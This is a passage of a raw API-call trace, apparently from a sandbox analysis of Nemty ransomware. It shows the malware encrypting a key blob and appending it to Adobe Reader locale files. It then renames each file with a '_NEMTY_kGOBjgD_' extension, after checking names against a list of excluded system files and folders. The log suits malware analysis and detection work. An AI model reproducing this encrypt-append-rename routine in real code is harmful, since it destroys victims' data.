pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.283] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.283] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0183.283] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="O29a/HYHI64saOQKmdLT6siYEk/W/9J6KcgyILluagArDwXAwMEmVjJvNWKNvsA0\r\n5AzfkYvFOa5MvUaWgdfE5Ht61cYDoU3XOK4j8JgSP/Cuq5y8CItIIYz2ACmjPyy/\r\nBL1EzwC1KHpprf+ZUhZmSvxZGS+uM3I68qq4S4vrTN3xt9ZvnbzIeyetQKTFrjui\r\n7b7CNFcCRsb2IOg13RvBI5izOev1YmJMnIF5i5OBj7iWY5A8HDDJzjU3NSry8xlQ\r\nAN+ReZWpBZS6japGgq39RcsLLk96StkRSBqwXvzoe61cXWzYB6pHSYGBRPrjT2f+\r\ntP/YlUQRb3P0GDv8bD6b1A==\r\n", pcchString=0x653e5dc) returned 1 [0183.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0183.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.283] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Acroform.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\acroform.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.284] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=415744) returned 1 [0183.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0183.284] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.284] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0183.294] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.294] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0183.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.294] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=415744, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x65800 [0183.294] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.296] CloseHandle (hObject=0x2e8) returned 1 [0183.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0183.296] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.296] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0183.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0183.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0183.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.296] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Acroform.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\acroform.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Acroform.SKY._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\acroform.sky._nemty_kgobjgd_")) returned 1 [0183.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0183.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0183.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.297] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AdobeCollabSync.SKY", cAlternateFileName="ADOBEC~1.SKY")) returned 1 [0183.297] lstrcmpiW (lpString1="AdobeCollabSync.SKY", lpString2=".") returned 1 [0183.297] lstrcmpiW (lpString1="AdobeCollabSync.SKY", lpString2="..") returned 1 [0183.297] lstrcmpiW (lpString1="AdobeCollabSync.SKY", lpString2="...") returned 1 [0183.297] lstrcmpiW (lpString1="AdobeCollabSync.SKY", lpString2="windows") returned -1 [0183.297] lstrcmpiW (lpString1="AdobeCollabSync.SKY", lpString2="$RECYCLE.BIN") returned 1 [0183.297] lstrcmpiW (lpString1="AdobeCollabSync.SKY", lpString2="rsa") returned -1 [0183.297] lstrcmpiW (lpString1="AdobeCollabSync.SKY", lpString2="NTDETECT.COM") returned -1 [0183.297] lstrcmpiW (lpString1="AdobeCollabSync.SKY", lpString2="ntldr") returned -1 [0183.297] lstrcmpiW (lpString1="AdobeCollabSync.SKY", lpString2="MSDOS.SYS") returned -1 [0183.297] lstrcmpiW (lpString1="AdobeCollabSync.SKY", lpString2="IO.SYS") returned -1 [0183.297] lstrcmpiW (lpString1="AdobeCollabSync.SKY", lpString2="boot.ini") returned -1 [0183.297] lstrcmpiW (lpString1="AdobeCollabSync.SKY", lpString2="boot.ini") returned -1 [0183.297] lstrcmpiW (lpString1="AdobeCollabSync.SKY", lpString2="AUTOEXEC.BAT") returned -1 [0183.298] lstrcmpiW (lpString1="AdobeCollabSync.SKY", lpString2="ntuser.dat") returned -1 [0183.298] lstrcmpiW (lpString1="AdobeCollabSync.SKY", lpString2="desktop.ini") returned -1 [0183.298] lstrcmpiW (lpString1="AdobeCollabSync.SKY", lpString2="CONFIG.SYS") returned -1 [0183.298] lstrcmpiW (lpString1="AdobeCollabSync.SKY", lpString2="RECYCLER") returned -1 [0183.298] lstrcmpiW (lpString1="AdobeCollabSync.SKY", lpString2="BOOTSECT.BAK") returned -1 [0183.298] lstrcmpiW (lpString1="AdobeCollabSync.SKY", lpString2="bootmgr") returned -1 [0183.298] lstrcmpiW (lpString1="AdobeCollabSync.SKY", lpString2="programdata") returned -1 [0183.298] lstrcmpiW (lpString1="AdobeCollabSync.SKY", lpString2="appdata") returned -1 [0183.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0183.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SKY", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0183.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SKY", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.SKY", lpUsedDefaultChar=0x0) returned 19 [0183.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0183.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SKY", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0183.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SKY", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.SKY", lpUsedDefaultChar=0x0) returned 19 [0183.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0183.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0183.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0183.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SKY", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0183.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SKY", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.SKY", lpUsedDefaultChar=0x0) returned 19 [0183.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0183.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0183.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SKY", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0183.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SKY", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.SKY", lpUsedDefaultChar=0x0) returned 19 [0183.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0183.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0183.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0183.299] Sleep (dwMilliseconds=0x5) [0183.313] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20e90250, dwHighDateTime=0x1d561e8)) [0183.313] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20e90250, dwHighDateTime=0x1d561e8)) [0183.313] GetLastError () returned 0x0 [0183.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.314] GetLastError () returned 0x0 [0183.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0183.314] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.314] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.314] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0183.314] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e5dc | out: pszString="sc2JsDKPe4v3Z1oAGMk2ABZ14qSlwcmI4HuxTeRF7UekppPC83iVaHI9rSLOvrdd\r\nooDMa3rcNA4EkqE2dNFqAKq3LFcBUMfCoCO4P1njDt3gIkhDSlKhWiucEC2MS7Jr\r\nazBQykWxYn0ixY8Iv8CdQmFBwZK/fFoR86Qhvs9gRYu58yJMRfWPX9NaBlok0S8X\r\ndJWm5YTbyLrLJ+tBIKCs+jLs8+9fxE8cW6Gm5hMd8D4jMfAAllcw8P+W7XoglFvA\r\n+Rpl8tReYjGL75FtNWFklK714BdD77UijLsOhX42/GaFf6E2WZzQ6Ti/9154sALA\r\nhyt/bz3zPrSq3NeH8saLMA==\r\n", pcchString=0x653e5dc) returned 1 [0183.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0183.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0183.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0183.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.314] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\AdobeCollabSync.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\adobecollabsync.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.315] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=7168) returned 1 [0183.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1c00) returned 0x6352c48 [0183.315] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.315] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1c00, lpOverlapped=0x0) returned 1 [0183.317] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.317] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1c00, lpOverlapped=0x0) returned 1 [0183.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.317] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=7168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c00 [0183.317] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.317] CloseHandle (hObject=0x2e8) returned 1 [0183.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0183.317] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0183.317] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0183.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0183.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0183.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0183.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0183.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0183.318] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\AdobeCollabSync.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\adobecollabsync.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\AdobeCollabSync.SKY._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\adobecollabsync.sky._nemty_kgobjgd_")) returned 1 [0183.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0183.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0183.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0183.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.318] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x79800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Annots.SKY", cAlternateFileName="")) returned 1 [0183.318] lstrcmpiW (lpString1="Annots.SKY", lpString2=".") returned 1 [0183.318] lstrcmpiW (lpString1="Annots.SKY", lpString2="..") returned 1 [0183.318] lstrcmpiW (lpString1="Annots.SKY", lpString2="...") returned 1 [0183.318] lstrcmpiW (lpString1="Annots.SKY", lpString2="windows") returned -1 [0183.318] lstrcmpiW (lpString1="Annots.SKY", lpString2="$RECYCLE.BIN") returned 1 [0183.319] lstrcmpiW (lpString1="Annots.SKY", lpString2="rsa") returned -1 [0183.319] lstrcmpiW (lpString1="Annots.SKY", lpString2="NTDETECT.COM") returned -1 [0183.319] lstrcmpiW (lpString1="Annots.SKY", lpString2="ntldr") returned -1 [0183.319] lstrcmpiW (lpString1="Annots.SKY", lpString2="MSDOS.SYS") returned -1 [0183.319] lstrcmpiW (lpString1="Annots.SKY", lpString2="IO.SYS") returned -1 [0183.319] lstrcmpiW (lpString1="Annots.SKY", lpString2="boot.ini") returned -1 [0183.319] lstrcmpiW (lpString1="Annots.SKY", lpString2="boot.ini") returned -1 [0183.319] lstrcmpiW (lpString1="Annots.SKY", lpString2="AUTOEXEC.BAT") returned -1 [0183.319] lstrcmpiW (lpString1="Annots.SKY", lpString2="ntuser.dat") returned -1 [0183.319] lstrcmpiW (lpString1="Annots.SKY", lpString2="desktop.ini") returned -1 [0183.319] lstrcmpiW (lpString1="Annots.SKY", lpString2="CONFIG.SYS") returned -1 [0183.319] lstrcmpiW (lpString1="Annots.SKY", lpString2="RECYCLER") returned -1 [0183.319] lstrcmpiW (lpString1="Annots.SKY", lpString2="BOOTSECT.BAK") returned -1 [0183.319] lstrcmpiW (lpString1="Annots.SKY", lpString2="bootmgr") returned -1 [0183.319] lstrcmpiW (lpString1="Annots.SKY", lpString2="programdata") returned -1 [0183.319] lstrcmpiW (lpString1="Annots.SKY", lpString2="appdata") returned -1 [0183.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.319] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SKY", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0183.319] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SKY", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.SKY", lpUsedDefaultChar=0x0) returned 10 [0183.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.319] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SKY", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0183.319] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SKY", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.SKY", lpUsedDefaultChar=0x0) returned 10 [0183.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.319] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SKY", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0183.319] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SKY", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.SKY", lpUsedDefaultChar=0x0) returned 10 [0183.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 